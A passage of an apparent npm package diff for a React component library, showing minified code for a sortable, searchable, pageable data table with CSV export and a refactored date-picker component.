MPDataTable({headers:q,items:G,getRowKey:J,caption:Q,empty:U,locale:Y,sortable:Z=!1,sortMode:ee="single",sort:te,defaultSort:ae,onSortChange:re,searchable:ne=!1,search:oe,defaultSearch:le,onSearchChange:se,searchLabel:ie,filter:ce,toolbar:de,paged:me=!1,page:ue,defaultPage:pe,onPageChange:fe,pageSize:he,defaultPageSize:ye,onPageSizeChange:ge,pageSizeOptions:be=[10,25,50,100],resizable:ve=!1,columnWidths:xe,defaultColumnWidths:ke,onColumnWidthsChange:we,selectionMode:Se="none",selected:Ne,defaultSelected:je,onSelectedChange:Ce,checkboxes:ze=!1,onRowClick:_e,exportable:Me=!1,exportFileName:Pe="table.csv",exportEscapeFormulas:Ee=!0,onExport:Le,striped:De=!1,hoverable:$e=!1,stickyHeader:Ae=!1,variant:Ie="outlined",elevation:Ke,size:We,color:Re,density:Te,className:Be,style:Fe,classNames:Ve,...He}){const Xe=y(We),Oe=f(Re),qe=h(Te),Ge=g(Y),Je=b(x,Ge),Qe=b(k,Ge),Ue=b(w,Ge),Ye=M(Xe,qe),Ze=P(Xe,qe),[et,tt]=a.useState(()=>[...ae??[]]),at=te??et,[rt,nt]=a.useState(le??""),ot=oe??rt,[lt,st]=a.useState(pe??1),it=ue??lt,[ct,dt]=a.useState(ye??25),mt=he??ct,[ut,pt]=a.useState(()=>({...ke})),ft=xe??ut,[ht,yt]=a.useState(()=>[...je??[]]),gt=Ne??ht,bt=a.useMemo(()=>new Set(gt.map(e=>String(e))),[gt]),vt=a.useRef(null),xt=a.useMemo(()=>G.map((e,t)=>{const a=J?J(e,t):t;return{row:e,identity:a,key:String(a),origin:t}}),[G,J]),kt=a.useMemo(()=>{const e=q.filter(e=>!1!==e.searchable);return xt.map(t=>R(e.map(e=>V(e,t.row))))},[xt,q]),wt=T(ot.trim()),St=a.useMemo(()=>{const e=""===wt?xt:xt.filter((e,t)=>kt[t].includes(wt));return ce?e.filter(e=>ce(e.row,e.origin)):e},[xt,kt,wt,ce]),Nt=a.useMemo(()=>new Intl.Collator(Ge,{numeric:!0,sensitivity:"base"}),[Ge]),jt=a.useMemo(()=>B(St,at,(e,t)=>{const a=q.find(t=>t.key===e);if(!a)return null;const r="desc"===t,n=a.compare;return n?(e,t)=>r?-n(e.row,t.row):n(e.row,t.row):(e,t)=>$(V(a,e.row),V(a,t.row),Nt,r)}),[St,at,q,Nt]),Ct=W(jt.length,it,mt),zt=me?jt.slice(Ct.start,Ct.end):jt,_t=e=>{void 0===ue&&st(e),fe?.(e)},Mt=e=>{void 0===xe&&pt(e),we?.(e)},Pt=e=>{const t=new Set(e),a=[],r=[];for(const e of xt)t.has(e.key)&&(r.push(e.identity),a.push(e.row));void 0===Ne&&yt(r),Ce?.(r,a)},Et="none"!==Se,Lt="multiple"===Se,Dt=ze&&Et,$t=(e,t,a)=>{if(_e?.(e.row,Ct.start+t),Et){if(!Lt)return Pt(bt.has(e.key)?[]:[e.key]),void(vt.current=e.key);if(a&&null!==vt.current){const t=I(zt.map(e=>e.key),vt.current,e.key);return void Pt([...new Set([...bt,...t])])}vt.current=e.key,Pt(bt.has(e.key)?[...bt].filter(t=>t!==e.key):[...bt,e.key])}},At=zt.map(e=>e.key),It=At.filter(e=>bt.has(e)).length,Kt=At.length>0&&It===At.length,Wt=e=>ft[e.key]??e.width??L,Rt=a.useRef(null);a.useEffect(()=>()=>{null!==Rt.current&&(document.body.style.userSelect=Rt.current,Rt.current=null)},[]);const Tt=(e,t)=>{const a=Math.max(D,e.minWidth??D);Mt({...ft,[e.key]:Math.max(a,Wt(e)+t)})},Bt=e=>{const t={...ft};delete t[e.key],Mt(t)},Ft={padding:`${Ze} ${Ye}`},Vt={...Ft,backgroundColor:"var(--_mp-color-surface-container)"},Ht={borderTop:"1px solid var(--_mp-color-outline-variant)",backgroundColor:"var(--_mp-row)"},Xt=q.length+(Dt?1:0),Ot=Boolean(_e)||Et&&!Dt,qt=$e||Et||Boolean(_e),Gt=ne||Me||void 0!==de,Jt=me||Et,Qt=(...e)=>e.filter(Boolean).join(" ");return t("div",{"data-mp-size":Xe,"data-mp-variant":Ie,className:Qt("mp-data-table rounded-mp-md flex flex-col",p(Ie,Ke),Be),style:{...u(Oe),...Fe},...He,children:[Gt?t("div",{className:Qt("mp-data-table__toolbar flex flex-wrap items-center gap-2",Ve?.toolbar),style:{padding:`${Ze} ${Ye}`},children:[ne?e(i,{size:Xe,value:ot,onChange:e=>{void 0===oe&&nt(e),_t(1),se?.(e)},label:ie??Ue.search,startIcon:e(o,{icon:m,size:S[Xe]}),className:"mp-data-table__search min-w-0 flex-1"}):e("div",{className:"min-w-0 flex-1"}),de,Me?e(r,{size:Xe,variant:"text",color:Oe,onClick:()=>{const e=q.filter(e=>!1!==e.exportable),t=e.map(e=>"string"==typeof e.label?e.label:e.key),a=jt.map(t=>e.map(e=>e.exportValue?e.exportValue(t.row):V(e,t.row))),r=F([t,...a],{escapeFormulas:Ee});Le?Le(r):A(r,Pe,"text/csv;charset=utf-8")},startIcon:e(o,{icon:c,size:S[Xe]}),children:Je.download}):null]}):null,e("div",{className:"mp-data-table__scroll min-h-0 flex-1 overflow-auto",children:t("table",{className:Qt("text-mp-on-surface w-full text-start",C[Xe],Ve?.table),style:{borderCollapse:"collapse",...ve?{tableLayout:"fixed",minWidth:q.reduce((e,t)=>e+Wt(t),Dt?H[Xe]:0)}:void 0},children:[Q?e("caption",{className:`text-mp-on-surface-variant ${N}`,style:{...Ft,textAlign:"start"},children:Q}):null,t("colgroup",{children:[Dt?e("col",{style:{width:H[Xe]}}):null,q.map(t=>e("col",{style:ve||void 0!==ft[t.key]||void 0!==t.width?{width:Wt(t)}:void 0},t.key))]}),e("thead",{className:Ve?.head,children:t("tr",{children:[Dt?e("th",{scope:"col",className:Qt("whitespace-nowrap",Ae&&"sticky top-0 z-20"),style:Vt,children:e(n,{size:Xe,color:Oe,checked:Kt,indeterminate:It>0&&!Kt,onCheckedChange:()=>{Pt(Kt?[...bt].filter(e=>!At.includes(e)):[...new Set([...bt,...At])])},label:e("span",{className:j,children:Je.selectAll}),disabled:!Lt||0===At.length})}):null,q.map(a=>{const r=a.sortable??Z,n=(l=a.key,at.findIndex(e=>e.key===l));var l;const s=-1===n?void 0:at[n],i=a.resizable??ve,c=a.align??"start";return t("th",{scope:"col","aria-sort":r?void 0===s?"none":"asc"===s.direction?"ascending":"descending":void 0,className:Qt("text-mp-on-surface-variant relative whitespace-nowrap",z[Xe],Ae&&"sticky top-0 z-10"),style:{...Vt,textAlign:c},children:[r?t("button",{type:"button",className:Qt(X,"end"===c&&"justify-end","center"===c&&"justify-center"),onClick:e=>((e,t)=>{const a=K(at,e,t&&"multiple"===ee);void 0===te&&tt(a),re?.(a)})(a.key,e.shiftKey),children:[e("span",{className:"min-w-0 truncate",children:a.label??a.key}),e(o,{icon:d,size:S[Xe]-6,className:Qt("shrink-0 transition-[rotate,opacity]","duration-(--mp-sys-motion-duration-short4) ease-mp-standard",void 0===s?"opacity-0 group-hover/sort:opacity-38":"text-mp-primary opacity-100","desc"===s?.direction&&"rotate-180")}),at.length>1&&-1!==n?e("span",{className:"text-mp-primary shrink-0 tabular-nums",children:n+1}):null]}):a.label??a.key,i?e("button",{type:"button","aria-label":Je.resize,className:O,onPointerDown:e=>((e,t)=>{const a=t.currentTarget;try{a.setPointerCapture(t.pointerId)}catch{}a.dataset.dragging="true";const r=document.body.style.userSelect;Rt.current=r,document.body.style.userSelect="none";const n=t.clientX,o=Wt(e),l="rtl"===getComputedStyle(a).direction?-1:1,s=Math.max(D,e.minWidth??D),i=t=>{Mt({...ft,[e.key]:Math.max(s,Math.round(o+(t.clientX-n)*l))})},c=()=>{a.removeEventListener("pointermove",i),a.removeEventListener("pointerup",c),a.removeEventListener("pointercancel",c),delete a.dataset.dragging,null!==Rt.current&&(document.body.style.userSelect=Rt.current,Rt.current=null)};a.addEventListener("pointermove",i),a.addEventListener("pointerup",c),a.addEventListener("pointercancel",c)})(a,e),onDoubleClick:()=>Bt(a),onKeyDown:e=>{const t=e.shiftKey?32:8;"ArrowRight"===e.key?(e.preventDefault(),Tt(a,t)):"ArrowLeft"===e.key?(e.preventDefault(),Tt(a,-t)):"Home"===e.key&&(e.preventDefault(),Bt(a))}}):null]},a.key)})]})}),e("tbody",{children:0===zt.length?e("tr",{className:_,style:Ht,children:e("td",{colSpan:Xt,className:"text-mp-on-surface-variant",style:{padding:`2rem ${Ye}`,textAlign:"center"},children:U??Qe.empty})}):zt.map((a,r)=>{const o=bt.has(a.key);return t("tr",{"aria-selected":Et?o:void 0,className:Qt(_,Ve?.row,De&&(Ct.start+r)%2==1?"[--_mp-row:var(--_mp-color-surface-container-low)]":"",o?"[--_mp-row:var(--_mp-color-secondary-container)]":"",qt&&!o?"hover:[--_mp-row:var(--_mp-color-surface-container)]":"",(Et||_e)&&"cursor-pointer",Ot&&["outline-mp-secondary focus-visible:outline-2","focus-visible:-outline-offset-2 focus-visible:outline-solid outline-none"].join(" ")),style:Ht,tabIndex:Ot?0:void 0,onClick:e=>$t(a,r,e.shiftKey),onKeyDown:Ot?e=>{"Enter"!==e.key&&" "!==e.key||e.target===e.currentTarget&&(e.preventDefault(),$t(a,r,e.shiftKey))}:void 0,children:[Dt?e("td",{style:Ft,children:e(n,{size:Xe,color:Oe,checked:o,onCheckedChange:()=>$t(a,r,!1),label:e("span",{className:j,children:Je.selectRow})})}):null,q.map(t=>e("td",{className:Ve?.cell,style:{...Ft,textAlign:t.align??"start"},children:t.render?t.render(a.row,Ct.start+r):E(V(t,a.row))},t.key))]},a.key)})})]})}),Jt?t("div",{className:Qt("mp-data-table__footer border-mp-outline-variant flex flex-wrap items-center gap-3","text-mp-on-surface-variant border-t",N,Ve?.footer),style:{padding:`${Ze} ${Ye}`},children:[e("span",{className:"mp-data-table__count",children:v(Je.total,{total:String(jt.length)})}),bt.size>0?e("span",{className:"mp-data-table__selected text-mp-primary",children:v(Je.selected,{count:String(bt.size)})}):null,e("span",{className:"flex-1"}),me&&be.length>0?e(s,{size:"xs",label:Je.perPage,floatingLabel:!1,value:mt,onValueChange:e=>(e=>{void 0===he&&dt(e),_t(1),ge?.(e)})(Number(e)),items:be.map(e=>({value:e})),className:"mp-data-table__page-size",style:{minWidth:"9.5rem"}}):null,me?e(l,{size:"xs",color:Oe,count:Ct.pages,page:Ct.page,onPageChange:_t,locale:Ge}):null]}):null]})}

package/dist/components/data-table/index.d.ts

@@ -0,0 +1,2 @@
+export { MPDataTable } from './MPDataTable.js';
+export type { MPDataTableColumn, MPDataTableProps, MPDataTableSelectionMode, MPDataTableSlot, MPDataTableSort, MPSortDirection } from './MPDataTable.js';

package/dist/components/data-table/index.js

@@ -0,0 +1 @@
+export{MPDataTable}from"./MPDataTable.js";

package/dist/components/date-picker/MPDatePicker.js

@@ -1,2 +1,2 @@
 "use client";
-import{jsx as e,jsxs as a}from"react/jsx-runtime";import*as o from"react";import{MPButton as t}from"../button/MPButton.js";import{MPIcon as n}from"../icon/MPIcon.js";import{CalendarIcon as l}from"../../constants/icons.js";import{Calendar as r}from"../../internal/Calendar.js";import{FOOTER_SIZE as i,MPPickerFooter as s,MPPickerShell as c,useDisplaySamples as m}from"../../internal/Picker.js";import{useMPLocale as d,useMPMessages as u}from"../../internal/locale.js";import{PICKER as p}from"../../internal/messages/picker.js";import{CONTROL_ICON as f}from"../../internal/scale.js";import{formatDate as h,isUnitOutside as y,isValidDate as j,localeWeekStart as b,mergeDateAndTime as g,startOfMonth as v,startOfUnit as x,toISODate as D,toISOMonth as k,toISOYear as C,today as O,withPlaceholder as S}from"../../internal/date.js";import{useMPColor as z,useMPSize as M}from"../../internal/config.js";const P={day:{dateStyle:"medium"},month:{year:"numeric",month:"long"},year:{year:"numeric"}},w={day:D,month:k,year:C};export const MPDatePicker=/*@__PURE__*/o.forwardRef(function({value:D,defaultValue:k,onValueChange:C,open:I,defaultOpen:V,onOpenChange:B,precision:R="day",defaultMonth:E,minDate:F,maxDate:N,shouldDisableDate:T,locale:Y,weekStartsOn:q,format:A,placeholder:G,clearable:H=!1,showTodayButton:J=!0,closeOnSelect:K=!0,labels:L,name:Q,size:U,color:W,readOnly:X=!1,disabled:Z=!1,startIcon:$,..._},ee){const ae=M(U),oe=z(W),te=d(Y),ne=u(p,te,L),le=q??b(te),re=A??P[R],[ie,se]=o.useState(k??null),ce=void 0!==D?D:ie,[me,de]=o.useState(V??!1),ue=I??me,[pe,fe]=o.useState(()=>v(j(ce)?ce:E??O()));o.useEffect(()=>{ue&&fe(v(j(ce)?ce:E??O()))},[ue]);const he=e=>{e&&(X||Z)||(void 0===I&&de(e),B?.(e))},ye=e=>{void 0===D&&se(e),C?.(e)},je=e=>{const a=x(e,R),o=j(ce)?g(a,ce):a;ye(o),fe(v(o)),K&&he(!1)},be=O(),ge=y(be,R,F,N)||"day"===R&&(T?.(be)??!1),ve="year"===R?ne.thisYear:"month"===R?ne.thisMonth:ne.today,xe=J||H,De=S(m(te,re),G);return e(c,{..._,slug:"date-picker",size:ae,color:oe,readOnly:X,disabled:Z,triggerRef:ee,startIcon:void 0===$?e(n,{icon:l,size:f[ae]}):$,display:j(ce)?h(ce,te,re):G??"",samples:De,empty:!j(ce),clearable:H,onClear:()=>ye(null),open:ue,onOpenChange:he,labels:ne,hiddenValues:Q?[{name:Q,value:j(ce)?w[R](ce):""}]:void 0,children:a("div",{className:"flex flex-col "+(xe?"gap-1.5":""),children:[e(r,{size:ae,color:oe,locale:te,weekStartsOn:le,month:pe,onMonthChange:fe,selected:[ce],onSelect:je,minDate:F,maxDate:N,shouldDisableDate:T,precision:R,labels:ne,autoFocus:!0}),xe?a(s,{children:[H?e(t,{variant:"text",size:i[ae],color:oe,onClick:()=>{ye(null),he(!1)},children:ne.clear}):null,J?e(t,{variant:"text",size:i[ae],color:oe,disabled:ge,onClick:()=>je(be),children:ve}):null]}):null]})})});
+import{jsx as e,jsxs as a}from"react/jsx-runtime";import*as o from"react";import{MPButton as t}from"../button/MPButton.js";import{MPIcon as n}from"../icon/MPIcon.js";import{CalendarIcon as l}from"../../constants/icons.js";import{Calendar as r}from"../../internal/Calendar.js";import{FOOTER_SIZE as i,MPPickerFooter as s,MPPickerShell as c,useDisplaySamples as m}from"../../internal/Picker.js";import{useMPLocale as d,useMPMessages as u}from"../../internal/locale.js";import{PICKER as p}from"../../internal/messages/picker.js";import{CONTROL_ICON as f}from"../../internal/scale.js";import{formatDate as h,isUnitOutside as y,TO_ISO as j,isValidDate as b,localeWeekStart as g,mergeDateAndTime as v,startOfMonth as x,startOfUnit as D,today as k,withPlaceholder as C}from"../../internal/date.js";import{useMPColor as O,useMPSize as S}from"../../internal/config.js";const z={day:{dateStyle:"medium"},month:{year:"numeric",month:"long"},year:{year:"numeric"}};export const MPDatePicker=/*@__PURE__*/o.forwardRef(function({value:M,defaultValue:P,onValueChange:w,open:I,defaultOpen:V,onOpenChange:B,precision:R="day",defaultMonth:E,minDate:F,maxDate:N,shouldDisableDate:T,locale:Y,weekStartsOn:q,format:A,placeholder:G,clearable:H=!1,showTodayButton:J=!0,closeOnSelect:K=!0,labels:L,name:Q,size:U,color:W,readOnly:X=!1,disabled:Z=!1,startIcon:$,..._},ee){const ae=S(U),oe=O(W),te=d(Y),ne=u(p,te,L),le=q??g(te),re=A??z[R],[ie,se]=o.useState(P??null),ce=void 0!==M?M:ie,[me,de]=o.useState(V??!1),ue=I??me,[pe,fe]=o.useState(()=>x(b(ce)?ce:E??k()));o.useEffect(()=>{ue&&fe(x(b(ce)?ce:E??k()))},[ue]);const he=e=>{e&&(X||Z)||(void 0===I&&de(e),B?.(e))},ye=e=>{void 0===M&&se(e),w?.(e)},je=e=>{const a=D(e,R),o=b(ce)?v(a,ce):a;ye(o),fe(x(o)),K&&he(!1)},be=k(),ge=y(be,R,F,N)||"day"===R&&(T?.(be)??!1),ve="year"===R?ne.thisYear:"month"===R?ne.thisMonth:ne.today,xe=J||H,De=C(m(te,re),G);return e(c,{..._,slug:"date-picker",size:ae,color:oe,readOnly:X,disabled:Z,triggerRef:ee,startIcon:void 0===$?e(n,{icon:l,size:f[ae]}):$,display:b(ce)?h(ce,te,re):G??"",samples:De,empty:!b(ce),clearable:H,onClear:()=>ye(null),open:ue,onOpenChange:he,labels:ne,hiddenValues:Q?[{name:Q,value:b(ce)?j[R](ce):""}]:void 0,children:a("div",{className:"flex flex-col "+(xe?"gap-1.5":""),children:[e(r,{size:ae,color:oe,locale:te,weekStartsOn:le,month:pe,onMonthChange:fe,selected:[ce],onSelect:je,minDate:F,maxDate:N,shouldDisableDate:T,precision:R,labels:ne,autoFocus:!0}),xe?a(s,{children:[H?e(t,{variant:"text",size:i[ae],color:oe,onClick:()=>{ye(null),he(!1)},children:ne.clear}):null,J?e(t,{variant:"text",size:i[ae],color:oe,disabled:ge,onClick:()=>je(be),children:ve}):null]}):null]})})});